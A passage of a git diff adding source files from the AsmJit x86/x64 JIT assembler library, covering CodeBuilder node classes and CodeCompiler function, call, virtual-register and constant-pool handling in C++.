static_cast(64 - sizeof(CBNode) - 4) }; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new `CBData` instance. + ASMJIT_INLINE CBData(CodeBuilder* cb, void* data, uint32_t size) noexcept : CBNode(cb, kNodeData) { + if (size <= kInlineBufferSize) { + if (data) ::memcpy(_buf, data, size); + } + else { + _externalPtr = static_cast(data); + } + _size = size; + } + + //! Destroy the `CBData` instance (NEVER CALLED). + ASMJIT_INLINE ~CBData() noexcept {} + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get size of the data. + uint32_t getSize() const noexcept { return _size; } + //! Get pointer to the data. + uint8_t* getData() const noexcept { return _size <= kInlineBufferSize ? const_cast(_buf) : _externalPtr; } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + union { + struct { + uint8_t _buf[kInlineBufferSize]; //!< Embedded data buffer. + uint32_t _size; //!< Size of the data. + }; + struct { + uint8_t* _externalPtr; //!< Pointer to external data. + }; + }; +}; + +// ============================================================================ +// [asmjit::CBAlign] +// ============================================================================ + +//! Align directive (CodeBuilder). +//! +//! Wraps `.align` directive. +class CBAlign : public CBNode { +public: + ASMJIT_NONCOPYABLE(CBAlign) + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new `CBAlign` instance. + ASMJIT_INLINE CBAlign(CodeBuilder* cb, uint32_t mode, uint32_t alignment) noexcept + : CBNode(cb, kNodeAlign), + _mode(mode), + _alignment(alignment) {} + //! Destroy the `CBAlign` instance (NEVER CALLED). + ASMJIT_INLINE ~CBAlign() noexcept {} + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get align mode. + ASMJIT_INLINE uint32_t getMode() const noexcept { return _mode; } + //! Set align mode. + ASMJIT_INLINE void setMode(uint32_t mode) noexcept { _mode = mode; } + + //! Get align offset in bytes. + ASMJIT_INLINE uint32_t getAlignment() const noexcept { return _alignment; } + //! Set align offset in bytes to `offset`. + ASMJIT_INLINE void setAlignment(uint32_t alignment) noexcept { _alignment = alignment; } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + uint32_t _mode; //!< Align mode, see \ref AlignMode. + uint32_t _alignment; //!< Alignment (in bytes). +}; + +// ============================================================================ +// [asmjit::CBLabel] +// ============================================================================ + +//! Label (CodeBuilder). +class CBLabel : public CBNode { +public: + ASMJIT_NONCOPYABLE(CBLabel) + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new `CBLabel` instance. + ASMJIT_INLINE CBLabel(CodeBuilder* cb, uint32_t id = kInvalidValue) noexcept + : CBNode(cb, kNodeLabel), + _id(id), + _numRefs(0), + _from(nullptr) {} + //! Destroy the `CBLabel` instance (NEVER CALLED). + ASMJIT_INLINE ~CBLabel() noexcept {} + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get the label id. + ASMJIT_INLINE uint32_t getId() const noexcept { return _id; } + //! Get the label as `Label` operand. + ASMJIT_INLINE Label getLabel() const noexcept { return Label(_id); } + + //! Get first jmp instruction. + ASMJIT_INLINE CBJump* getFrom() const noexcept { return _from; } + + //! Get number of jumps to this target. + ASMJIT_INLINE uint32_t getNumRefs() const noexcept { return _numRefs; } + //! Set number of jumps to this target. + ASMJIT_INLINE void setNumRefs(uint32_t i) noexcept { _numRefs = i; } + + //! Add number of jumps to this target. + ASMJIT_INLINE void addNumRefs(uint32_t i = 1) noexcept { _numRefs += i; } + //! Subtract number of jumps to this target. + ASMJIT_INLINE void subNumRefs(uint32_t i = 1) noexcept { _numRefs -= i; } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + uint32_t _id; //!< Label id. + uint32_t _numRefs; //!< Count of jumps here. + CBJump* _from; //!< Linked-list of nodes that can jump here. +}; + +// ============================================================================ +// [asmjit::CBLabelData] +// ============================================================================ + +class CBLabelData : public CBNode { +public: + ASMJIT_NONCOPYABLE(CBLabelData) + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new `CBLabelData` instance. + ASMJIT_INLINE CBLabelData(CodeBuilder* cb, uint32_t id = kInvalidValue) noexcept + : CBNode(cb, kNodeLabelData), + _id(id) {} + + //! Destroy the `CBLabelData` instance (NEVER CALLED). + ASMJIT_INLINE ~CBLabelData() noexcept {} + + // -------------------------------------------------------------------------- + // [Interface] + // -------------------------------------------------------------------------- + + //! Get the label id. + ASMJIT_INLINE uint32_t getId() const noexcept { return _id; } + //! Get the label as `Label` operand. + ASMJIT_INLINE Label getLabel() const noexcept { return Label(_id); } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + uint32_t _id; +}; + +// ============================================================================ +// [asmjit::CBConstPool] +// ============================================================================ + +class CBConstPool : public CBLabel { +public: + ASMJIT_NONCOPYABLE(CBConstPool) + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new `CBConstPool` instance. + ASMJIT_INLINE CBConstPool(CodeBuilder* cb, uint32_t id = kInvalidValue) noexcept + : CBLabel(cb, id), + _constPool(&cb->_cbBaseZone) { _type = kNodeConstPool; } + + //! Destroy the `CBConstPool` instance (NEVER CALLED). + ASMJIT_INLINE ~CBConstPool() noexcept {} + + // -------------------------------------------------------------------------- + // [Interface] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE ConstPool& getConstPool() noexcept { return _constPool; } + ASMJIT_INLINE const ConstPool& getConstPool() const noexcept { return _constPool; } + + //! Get whether the constant-pool is empty. + ASMJIT_INLINE bool isEmpty() const noexcept { return _constPool.isEmpty(); } + //! Get the size of the constant-pool in bytes. + ASMJIT_INLINE size_t getSize() const noexcept { return _constPool.getSize(); } + //! Get minimum alignment. + ASMJIT_INLINE size_t getAlignment() const noexcept { return _constPool.getAlignment(); } + + //! See \ref ConstPool::add(). + ASMJIT_INLINE Error add(const void* data, size_t size, size_t& dstOffset) noexcept { + return _constPool.add(data, size, dstOffset); + } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + ConstPool _constPool; +}; + +// ============================================================================ +// [asmjit::CBComment] +// ============================================================================ + +//! Comment (CodeBuilder). +class CBComment : public CBNode { +public: + ASMJIT_NONCOPYABLE(CBComment) + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new `CBComment` instance. + ASMJIT_INLINE CBComment(CodeBuilder* cb, const char* comment) noexcept : CBNode(cb, kNodeComment) { + orFlags(kFlagIsRemovable | kFlagIsInformative); + _inlineComment = comment; + } + + //! Destroy the `CBComment` instance (NEVER CALLED). + ASMJIT_INLINE ~CBComment() noexcept {} +}; + +// ============================================================================ +// [asmjit::CBSentinel] +// ============================================================================ + +//! Sentinel (CodeBuilder). +//! +//! Sentinel is a marker that is completely ignored by the code builder. It's +//! used to remember a position in a code as it never gets removed by any pass. +class CBSentinel : public CBNode { +public: + ASMJIT_NONCOPYABLE(CBSentinel) + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new `CBSentinel` instance. + ASMJIT_INLINE CBSentinel(CodeBuilder* cb) noexcept : CBNode(cb, kNodeSentinel) {} + //! Destroy the `CBSentinel` instance (NEVER CALLED). + ASMJIT_INLINE ~CBSentinel() noexcept {} +}; + +//! \} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // !ASMJIT_DISABLE_BUILDER +#endif // _ASMJIT_BASE_CODEBUILDER_H diff --git a/asmjit/src/asmjit/base/codecompiler.cpp b/asmjit/src/asmjit/base/codecompiler.cpp new file mode 100644 index 0000000..582e94a --- /dev/null +++ b/asmjit/src/asmjit/base/codecompiler.cpp @@ -0,0 +1,573 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Export] +#define ASMJIT_EXPORTS + +// [Guard] +#include "../asmjit_build.h" +#if !defined(ASMJIT_DISABLE_COMPILER) + +// [Dependencies] +#include "../base/assembler.h" +#include "../base/codecompiler.h" +#include "../base/cpuinfo.h" +#include "../base/logging.h" +#include "../base/regalloc_p.h" +#include "../base/utils.h" +#include + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +// ============================================================================ +// [Constants] +// ============================================================================ + +static const char noName[1] = { '\0' }; + +// ============================================================================ +// [asmjit::CCFuncCall - Arg / Ret] +// ============================================================================ + +bool CCFuncCall::_setArg(uint32_t i, const Operand_& op) noexcept { + if ((i & ~kFuncArgHi) >= _funcDetail.getArgCount()) + return false; + + _args[i] = op; + return true; +} + +bool CCFuncCall::_setRet(uint32_t i, const Operand_& op) noexcept { + if (i >= 2) + return false; + + _ret[i] = op; + return true; +} + +// ============================================================================ +// [asmjit::CodeCompiler - Construction / Destruction] +// ============================================================================ + +CodeCompiler::CodeCompiler() noexcept + : CodeBuilder(), + _func(nullptr), + _vRegZone(4096 - Zone::kZoneOverhead), + _vRegArray(), + _localConstPool(nullptr), + _globalConstPool(nullptr) { + + _type = kTypeCompiler; +} +CodeCompiler::~CodeCompiler() noexcept {} + +// ============================================================================ +// [asmjit::CodeCompiler - Events] +// ============================================================================ + +Error CodeCompiler::onAttach(CodeHolder* code) noexcept { + return Base::onAttach(code); +} + +Error CodeCompiler::onDetach(CodeHolder* code) noexcept { + _func = nullptr; + + _localConstPool = nullptr; + _globalConstPool = nullptr; + + _vRegArray.reset(); + _vRegZone.reset(false); + + return Base::onDetach(code); +} + +// ============================================================================ +// [asmjit::CodeCompiler - Node-Factory] +// ============================================================================ + +CCHint* CodeCompiler::newHintNode(Reg& r, uint32_t hint, uint32_t value) noexcept { + if (!r.isVirtReg()) return nullptr; + + VirtReg* vr = getVirtReg(r); + return newNodeT(vr, hint, value); +} + +// ============================================================================ +// [asmjit::CodeCompiler - Func] +// ============================================================================ + +CCFunc* CodeCompiler::newFunc(const FuncSignature& sign) noexcept { + Error err; + + CCFunc* func = newNodeT(); + if (!func) goto _NoMemory; + + err = registerLabelNode(func); + if (ASMJIT_UNLIKELY(err)) { + // TODO: Calls setLastError, maybe rethink noexcept? + setLastError(err); + return nullptr; + } + + // Create helper nodes. + func->_exitNode = newLabelNode(); + func->_end = newNodeT(); + + if (!func->_exitNode || !func->_end) + goto _NoMemory; + + // Function prototype. + err = func->getDetail().init(sign); + if (err != kErrorOk) { + setLastError(err); + return nullptr; + } + + // If the CodeInfo guarantees higher alignment honor it. + if (_codeInfo.getStackAlignment() > func->_funcDetail._callConv.getNaturalStackAlignment()) + func->_funcDetail._callConv.setNaturalStackAlignment(_codeInfo.getStackAlignment()); + + // Allocate space for function arguments. + func->_args = nullptr; + if (func->getArgCount() != 0) { + func->_args = _cbHeap.allocT(func->getArgCount() * sizeof(VirtReg*)); + if (!func->_args) goto _NoMemory; + + ::memset(func->_args, 0, func->getArgCount() * sizeof(VirtReg*)); + } + + return func; + +_NoMemory: + setLastError(DebugUtils::errored(kErrorNoHeapMemory)); + return nullptr; +} + +CCFunc* CodeCompiler::addFunc(CCFunc* func) { + ASMJIT_ASSERT(_func == nullptr); + _func = func; + + addNode(func); // Function node. + CBNode* cursor = getCursor(); // {CURSOR}. + addNode(func->getExitNode()); // Function exit label. + addNode(func->getEnd()); // Function end marker. + + _setCursor(cursor); + return func; +} + +CCFunc* CodeCompiler::addFunc(const FuncSignature& sign) { + CCFunc* func = newFunc(sign); + + if (!func) { + setLastError(DebugUtils::errored(kErrorNoHeapMemory)); + return nullptr; + } + + return addFunc(func); +} + +CBSentinel* CodeCompiler::endFunc() { + CCFunc* func = getFunc(); + if (!func) { + // TODO: + return nullptr; + } + + // Add the local constant pool at the end of the function (if exists). + if (_localConstPool) { + setCursor(func->getEnd()->getPrev()); + addNode(_localConstPool); + _localConstPool = nullptr; + } + + // Mark as finished. + func->_isFinished = true; + _func = nullptr; + + CBSentinel* end = func->getEnd(); + setCursor(end); + return end; +} + +// ============================================================================ +// [asmjit::CodeCompiler - Ret] +// ============================================================================ + +CCFuncRet* CodeCompiler::newRet(const Operand_& o0, const Operand_& o1) noexcept { + CCFuncRet* node = newNodeT(o0, o1); + if (!node) { + setLastError(DebugUtils::errored(kErrorNoHeapMemory)); + return nullptr; + } + return node; +} + +CCFuncRet* CodeCompiler::addRet(const Operand_& o0, const Operand_& o1) noexcept { + CCFuncRet* node = newRet(o0, o1); + if (!node) return nullptr; + return static_cast(addNode(node)); +} + +// ============================================================================ +// [asmjit::CodeCompiler - Call] +// ============================================================================ + +CCFuncCall* CodeCompiler::newCall(uint32_t instId, const Operand_& o0, const FuncSignature& sign) noexcept { + Error err; + uint32_t nArgs; + + CCFuncCall* node = _cbHeap.allocT(sizeof(CCFuncCall) + sizeof(Operand)); + Operand* opArray = reinterpret_cast(reinterpret_cast(node) + sizeof(CCFuncCall)); + + if (ASMJIT_UNLIKELY(!node)) + goto _NoMemory; + + opArray[0].copyFrom(o0); + new (node) CCFuncCall(this, instId, 0, opArray, 1); + + if ((err = node->getDetail().init(sign)) != kErrorOk) { + setLastError(err); + return nullptr; + } + + // If there are no arguments skip the allocation. + if ((nArgs = sign.getArgCount()) == 0) + return node; + + node->_args = static_cast(_cbHeap.alloc(nArgs * sizeof(Operand))); + if (!node->_args) goto _NoMemory; + + ::memset(node->_args, 0, nArgs * sizeof(Operand)); + return node; + +_NoMemory: + setLastError(DebugUtils::errored(kErrorNoHeapMemory)); + return nullptr; +} + +CCFuncCall* CodeCompiler::addCall(uint32_t instId, const Operand_& o0, const FuncSignature& sign) noexcept { + CCFuncCall* node = newCall(instId, o0, sign); + if (!node) return nullptr; + return static_cast(addNode(node)); +} + +// ============================================================================ +// [asmjit::CodeCompiler - Vars] +// ============================================================================ + +Error CodeCompiler::setArg(uint32_t argIndex, const Reg& r) { + CCFunc* func = getFunc(); + + if (!func) + return setLastError(DebugUtils::errored(kErrorInvalidState)); + + if (!isVirtRegValid(r)) + return setLastError(DebugUtils::errored(kErrorInvalidVirtId)); + + VirtReg* vr = getVirtReg(r); + func->setArg(argIndex, vr); + + return kErrorOk; +} + +// ============================================================================ +// [asmjit::CodeCompiler - Hint] +// ============================================================================ + +Error CodeCompiler::_hint(Reg& r, uint32_t hint, uint32_t value) { + if (!r.isVirtReg()) return kErrorOk; + + CCHint* node = newHintNode(r, hint, value); + if (!node) return setLastError(DebugUtils::errored(kErrorNoHeapMemory)); + + addNode(node); + return kErrorOk; +} + +// ============================================================================ +// [asmjit::CodeCompiler - Vars] +// ============================================================================ + +VirtReg* CodeCompiler::newVirtReg(uint32_t typeId, uint32_t signature, const char* name) noexcept { + size_t index = _vRegArray.getLength(); + if (ASMJIT_UNLIKELY(index > Operand::kPackedIdCount)) + return nullptr; + + VirtReg* vreg; + if (_vRegArray.willGrow(&_cbHeap, 1) != kErrorOk || !(vreg = _vRegZone.allocZeroedT())) + return nullptr; + + vreg->_id = Operand::packId(static_cast(index)); + vreg->_regInfo._signature = signature; + vreg->_name = noName; + +#if !defined(ASMJIT_DISABLE_LOGGING) + if (name && name[0] != '\0') + vreg->_name = static_cast(_cbDataZone.dup(name, ::strlen(name), true)); +#endif // !ASMJIT_DISABLE_LOGGING + + vreg->_size = TypeId::sizeOf(typeId); + vreg->_typeId = typeId; + vreg->_alignment = static_cast(std::min(vreg->_size, 64)); + vreg->_priority = 10; + + // The following are only used by `RAPass`. + vreg->_raId = kInvalidValue; + vreg->_state = VirtReg::kStateNone; + vreg->_physId = Globals::kInvalidRegId; + + _vRegArray.appendUnsafe(vreg); + return vreg; +} + +Error CodeCompiler::_newReg(Reg& out, uint32_t typeId, const char* name) { + RegInfo regInfo; + + Error err = ArchUtils::typeIdToRegInfo(getArchType(), typeId, regInfo); + if (ASMJIT_UNLIKELY(err)) return setLastError(err); + + VirtReg* vReg = newVirtReg(typeId, regInfo.getSignature(), name); + if (ASMJIT_UNLIKELY(!vReg)) { + out.reset(); + return setLastError(DebugUtils::errored(kErrorNoHeapMemory)); + } + + out._initReg(regInfo.getSignature(), vReg->getId()); + return kErrorOk; +} + +Error CodeCompiler::_newReg(Reg& out, uint32_t typeId, const char* nameFmt, va_list ap) { + StringBuilderTmp<256> sb; + sb.appendFormatVA(nameFmt, ap); + return _newReg(out, typeId, sb.getData()); +} + +Error CodeCompiler::_newReg(Reg& out, const Reg& ref, const char* name) { + RegInfo regInfo; + uint32_t typeId; + + if (isVirtRegValid(ref)) { + VirtReg* vRef = getVirtReg(ref); + typeId = vRef->getTypeId(); + + // NOTE: It's possible to cast one register type to another if it's the + // same register kind. However, VirtReg always contains the TypeId that + // was used to create the register. This means that in some cases we may + // end up having different size of `ref` and `vRef`. In such case we + // adjust the TypeId to match the `ref` register type instead of the + // original register type, which should be the expected behavior. + uint32_t typeSize = TypeId::sizeOf(typeId); + uint32_t refSize = ref.getSize(); + + if (typeSize != refSize) { + if (TypeId::isInt(typeId)) { + // GP register - change TypeId to match `ref`, but keep sign of `vRef`. + switch (refSize) { + case 1: typeId = TypeId::kI8 | (typeId & 1); break; + case 2: typeId = TypeId::kI16 | (typeId & 1); break; + case 4: typeId = TypeId::kI32 | (typeId & 1); break; + case 8: typeId = TypeId::kI64 | (typeId & 1); break; + default: typeId = TypeId::kVoid; break; + } + } + else if (TypeId::isMmx(typeId)) { + // MMX register - always use 64-bit. + typeId = TypeId::kMmx64; + } + else if (TypeId::isMask(typeId)) { + // Mask register - change TypeId to match `ref` size. + switch (refSize) { + case 1: typeId = TypeId::kMask8; break; + case 2: typeId = TypeId::kMask16; break; + case 4: typeId = TypeId::kMask32; break; + case 8: typeId = TypeId::kMask64; break; + default: typeId = TypeId::kVoid; break; + } + } + else { + // VEC register - change TypeId to match `ref` size, keep vector metadata. + uint32_t elementTypeId = TypeId::elementOf(typeId); + + switch (refSize) { + case 16: typeId = TypeId::_kVec128Start + (elementTypeId - TypeId::kI8); break; + case 32: typeId = TypeId::_kVec256Start + (elementTypeId - TypeId::kI8); break; + case 64: typeId = TypeId::_kVec512Start + (elementTypeId - TypeId::kI8); break; + default: typeId = TypeId::kVoid; break; + } + } + + if (typeId == TypeId::kVoid) + return setLastError(DebugUtils::errored(kErrorInvalidState)); + } + } + else { + typeId = ref.getType(); + } + + Error err = ArchUtils::typeIdToRegInfo(getArchType(), typeId, regInfo); + if (ASMJIT_UNLIKELY(err)) return setLastError(err); + + VirtReg* vReg = newVirtReg(typeId, regInfo.getSignature(), name); + if (ASMJIT_UNLIKELY(!vReg)) { + out.reset(); + return setLastError(DebugUtils::errored(kErrorNoHeapMemory)); + } + + out._initReg(regInfo.getSignature(), vReg->getId()); + return kErrorOk; +} + +Error CodeCompiler::_newReg(Reg& out, const Reg& ref, const char* nameFmt, va_list ap) { + StringBuilderTmp<256> sb; + sb.appendFormatVA(nameFmt, ap); + return _newReg(out, ref, sb.getData()); +} + +Error CodeCompiler::_newStack(Mem& out, uint32_t size, uint32_t alignment, const char* name) { + if (size == 0) + return setLastError(DebugUtils::errored(kErrorInvalidArgument)); + + if (alignment == 0) alignment = 1; + if (!Utils::isPowerOf2(alignment)) + return setLastError(DebugUtils::errored(kErrorInvalidArgument)); + + if (alignment > 64) alignment = 64; + + VirtReg* vReg = newVirtReg(0, 0, name); + if (ASMJIT_UNLIKELY(!vReg)) { + out.reset(); + return setLastError(DebugUtils::errored(kErrorNoHeapMemory)); + } + + vReg->_size = size; + vReg->_isStack = true; + vReg->_alignment = static_cast(alignment); + + // Set the memory operand to GPD/GPQ and its id to VirtReg. + out = Mem(Init, _nativeGpReg.getType(), vReg->getId(), Reg::kRegNone, kInvalidValue, 0, 0, Mem::kSignatureMemRegHomeFlag); + return kErrorOk; +} + +Error CodeCompiler::_newConst(Mem& out, uint32_t scope, const void* data, size_t size) { + CBConstPool** pPool; + if (scope == kConstScopeLocal) + pPool = &_localConstPool; + else if (scope == kConstScopeGlobal) + pPool = &_globalConstPool; + else + return setLastError(DebugUtils::errored(kErrorInvalidArgument)); + + if (!*pPool && !(*pPool = newConstPool())) + return setLastError(DebugUtils::errored(kErrorNoHeapMemory)); + + CBConstPool* pool = *pPool; + size_t off; + + Error err = pool->add(data, size, off); + if (ASMJIT_UNLIKELY(err)) return setLastError(err); + + out = Mem(Init, + Label::kLabelTag, // Base type. + pool->getId(), // Base id. + 0, // Index type. + kInvalidValue, // Index id. + static_cast(off), // Offset. + static_cast(size), // Size. + 0); // Flags. + return kErrorOk; +} + +Error CodeCompiler::alloc(Reg& reg) { + if (!reg.isVirtReg()) return kErrorOk; + return _hint(reg, CCHint::kHintAlloc, kInvalidValue); +} + +Error CodeCompiler::alloc(Reg& reg, uint32_t physId) { + if (!reg.isVirtReg()) return kErrorOk; + return _hint(reg, CCHint::kHintAlloc, physId); +} + +Error CodeCompiler::alloc(Reg& reg, const Reg& physReg) { + if (!reg.isVirtReg()) return kErrorOk; + return _hint(reg, CCHint::kHintAlloc, physReg.getId()); +} + +Error CodeCompiler::save(Reg& reg) { + if (!reg.isVirtReg()) return kErrorOk; + return _hint(reg, CCHint::kHintSave, kInvalidValue); +} + +Error CodeCompiler::spill(Reg& reg) { + if (!reg.isVirtReg()) return kErrorOk; + return _hint(reg, CCHint::kHintSpill, kInvalidValue); +} + +Error CodeCompiler::unuse(Reg& reg) { + if (!reg.isVirtReg()) return kErrorOk; + return _hint(reg, CCHint::kHintUnuse, kInvalidValue); +} + +uint32_t CodeCompiler::getPriority(Reg& reg) const { + if (!reg.isVirtReg()) return 0; + return getVirtRegById(reg.getId())->getPriority(); +} + +void CodeCompiler::setPriority(Reg& reg, uint32_t priority) { + if (!reg.isVirtReg()) return; + if (priority > 255) priority = 255; + + VirtReg* vreg = getVirtRegById(reg.getId()); + if (vreg) vreg->_priority = static_cast(priority); +} + +bool CodeCompiler::getSaveOnUnuse(Reg& reg) const { + if (!reg.isVirtReg()) return false; + + VirtReg* vreg = getVirtRegById(reg.getId()); + return static_cast(vreg->_saveOnUnuse); +} + +void CodeCompiler::setSaveOnUnuse(Reg& reg, bool value) { + if (!reg.isVirtReg()) return; + + VirtReg* vreg = getVirtRegById(reg.getId()); + if (!vreg) return; + + vreg->_saveOnUnuse = value; +} + +void CodeCompiler::rename(Reg& reg, const char* fmt, ...) { + if (!reg.isVirtReg()) return; + + VirtReg* vreg = getVirtRegById(reg.getId()); + if (!vreg) return; + + vreg->_name = noName; + if (fmt && fmt[0] != '\0') { + char buf[64]; + + va_list ap; + va_start(ap, fmt); + + vsnprintf(buf, ASMJIT_ARRAY_SIZE(buf), fmt, ap); + buf[ASMJIT_ARRAY_SIZE(buf) - 1] = '\0'; + + vreg->_name = static_cast(_cbDataZone.dup(buf, ::strlen(buf), true)); + va_end(ap); + } +} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // !ASMJIT_DISABLE_COMPILER diff --git a/asmjit/src/asmjit/base/codecompiler.h b/asmjit/src/asmjit/base/codecompiler.h new file mode 100644 index 0000000..44b9644 --- /dev/null +++ b/asmjit/src/asmjit/base/codecompiler.h @@ -0,0 +1,738 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_CODECOMPILER_H +#define _ASMJIT_BASE_CODECOMPILER_H + +#include "../asmjit_build.h" +#if !defined(ASMJIT_DISABLE_COMPILER) + +// [Dependencies] +#include "../base/assembler.h" +#include "../base/codebuilder.h" +#include "../base/constpool.h" +#include "../base/func.h" +#include "../base/operand.h" +#include "../base/utils.h" +#include "../base/zone.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +// ============================================================================ +// [Forward Declarations] +// ============================================================================ + +struct VirtReg; +struct TiedReg; +struct RAState; +struct RACell; + +//! \addtogroup asmjit_base +//! \{ + +// ============================================================================ +// [asmjit::ConstScope] +// ============================================================================ + +//! Scope of the constant. +ASMJIT_ENUM(ConstScope) { + //! Local constant, always embedded right after the current function. + kConstScopeLocal = 0, + //! Global constant, embedded at the end of the currently compiled code. + kConstScopeGlobal = 1 +}; + +// ============================================================================ +// [asmjit::VirtReg] +// ============================================================================ + +//! Virtual register data (CodeCompiler). +struct VirtReg { + //! A state of a virtual register (used during register allocation). + ASMJIT_ENUM(State) { + kStateNone = 0, //!< Not allocated, not used. + kStateReg = 1, //!< Allocated in register. + kStateMem = 2 //!< Allocated in memory or spilled. + }; + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get the virtual-register id. + ASMJIT_INLINE uint32_t getId() const noexcept { return _id; } + //! Get virtual-register's name. + ASMJIT_INLINE const char* getName() const noexcept { return _name; } + + //! Get a physical register type. + ASMJIT_INLINE uint32_t getType() const noexcept { return _regInfo.getType(); } + //! Get a physical register kind. + ASMJIT_INLINE uint32_t getKind() const noexcept { return _regInfo.getKind(); } + //! Get a physical register size. + ASMJIT_INLINE uint32_t getRegSize() const noexcept { return _regInfo.getSize(); } + //! Get a register signature of this virtual register. + ASMJIT_INLINE uint32_t getSignature() const noexcept { return _regInfo.getSignature(); } + + //! Get a register's type-id, see \ref TypeId. + ASMJIT_INLINE uint32_t getTypeId() const noexcept { return _typeId; } + + //! Get virtual-register's size. + ASMJIT_INLINE uint32_t getSize() const noexcept { return _size; } + //! Get virtual-register's alignment. + ASMJIT_INLINE uint32_t getAlignment() const noexcept { return _alignment; } + + //! Get the virtual-register priority, used by compiler to decide which variable to spill. + ASMJIT_INLINE uint32_t getPriority() const noexcept { return _priority; } + //! Set the virtual-register priority. + ASMJIT_INLINE void setPriority(uint32_t priority) noexcept { + ASMJIT_ASSERT(priority <= 0xFF); + _priority = static_cast(priority); + } + + //! Get variable state, only used by `RAPass`. + ASMJIT_INLINE uint32_t getState() const noexcept { return _state; } + //! Set variable state, only used by `RAPass`. + ASMJIT_INLINE void setState(uint32_t state) { + ASMJIT_ASSERT(state <= 0xFF); + _state = static_cast(state); + } + + //! Get register index. + ASMJIT_INLINE uint32_t getPhysId() const noexcept { return _physId; } + //! Set register index. + ASMJIT_INLINE void setPhysId(uint32_t physId) { + ASMJIT_ASSERT(physId <= Globals::kInvalidRegId); + _physId = static_cast(physId); + } + //! Reset register index. + ASMJIT_INLINE void resetPhysId() { + _physId = static_cast(Globals::kInvalidRegId); + } + + //! Get home registers mask. + ASMJIT_INLINE uint32_t getHomeMask() const { return _homeMask; } + //! Add a home register index to the home registers mask. + ASMJIT_INLINE void addHomeId(uint32_t physId) { _homeMask |= Utils::mask(physId); } + + ASMJIT_INLINE bool isFixed() const noexcept { return static_cast(_isFixed); } + + //! Get whether the VirtReg is only memory allocated on the stack. + ASMJIT_INLINE bool isStack() const noexcept { return static_cast(_isStack); } + + //! Get whether to save variable when it's unused (spill). + ASMJIT_INLINE bool saveOnUnuse() const noexcept { return static_cast(_saveOnUnuse); } + + //! Get whether the variable was changed. + ASMJIT_INLINE bool isModified() const noexcept { return static_cast(_modified); } + //! Set whether the variable was changed. + ASMJIT_INLINE void setModified(bool modified) noexcept { _modified = modified; } + + //! Get home memory offset. + ASMJIT_INLINE int32_t getMemOffset() const noexcept { return _memOffset; } + //! Set home memory offset. + ASMJIT_INLINE void setMemOffset(int32_t offset) noexcept { _memOffset = offset; } + + //! Get home memory cell. + ASMJIT_INLINE RACell* getMemCell() const noexcept { return _memCell; } + //! Set home memory cell. + ASMJIT_INLINE void setMemCell(RACell* cell) noexcept { _memCell = cell; } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + uint32_t _id; //!< Virtual register id. + RegInfo _regInfo; //!< Physical register info & signature. + const char* _name; //!< Virtual name (user provided). + uint32_t _size; //!< Virtual size (can be smaller than `regInfo._size`). + uint8_t _typeId; //!< Type-id. + uint8_t _alignment; //!< Register's natural alignment (for spilling). + uint8_t _priority; //!< Allocation priority (hint for RAPass that can be ignored). + uint8_t _isFixed : 1; //!< True if this is a fixed register, never reallocated. + uint8_t _isStack : 1; //!< True if the virtual register is only used as a stack. + uint8_t _isMaterialized : 1; //!< Register is constant that is easily created by a single instruction. + uint8_t _saveOnUnuse : 1; //!< Save on unuse (at end of the variable scope). + + // ------------------------------------------------------------------------- + // The following members are used exclusively by RAPass. They are initialized + // when the VirtReg is created and then changed during RAPass. + // ------------------------------------------------------------------------- + + uint32_t _raId; //!< Register allocator work-id (used by RAPass). + int32_t _memOffset; //!< Home memory offset. + uint32_t _homeMask; //!< Mask of all registers variable has been allocated to. + + uint8_t _state; //!< Variable state (connected with actual `RAState)`. + uint8_t _physId; //!< Actual register index (only used by `RAPass)`, during translate. + uint8_t _modified; //!< Whether variable was changed (connected with actual `RAState)`. + + RACell* _memCell; //!< Home memory cell, used by `RAPass` (initially nullptr). + + //! Temporary link to TiedReg* used by the `RAPass` used in + //! various phases, but always set back to nullptr when finished. + //! + //! This temporary data is designed to be used by algorithms that need to + //! store some data into variables themselves during compilation. But it's + //! expected that after variable is compiled & translated the data is set + //! back to zero/null. Initial value is nullptr. + TiedReg* _tied; +}; + +// ============================================================================ +// [asmjit::CCHint] +// ============================================================================ + +//! Hint for register allocator (CodeCompiler). +class CCHint : public CBNode { +public: + ASMJIT_NONCOPYABLE(CCHint) + + //! Hint type. + ASMJIT_ENUM(Hint) { + //! Alloc to physical reg. + kHintAlloc = 0, + //! Spill to memory. + kHintSpill = 1, + //! Save if modified. + kHintSave = 2, + //! Save if modified and mark it as unused. + kHintSaveAndUnuse = 3, + //! Mark as unused. + kHintUnuse = 4 + }; + + 